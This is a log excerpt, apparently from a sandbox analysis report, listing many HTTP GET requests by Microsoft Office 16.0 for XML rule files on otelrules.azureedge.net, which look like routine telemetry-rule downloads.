Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
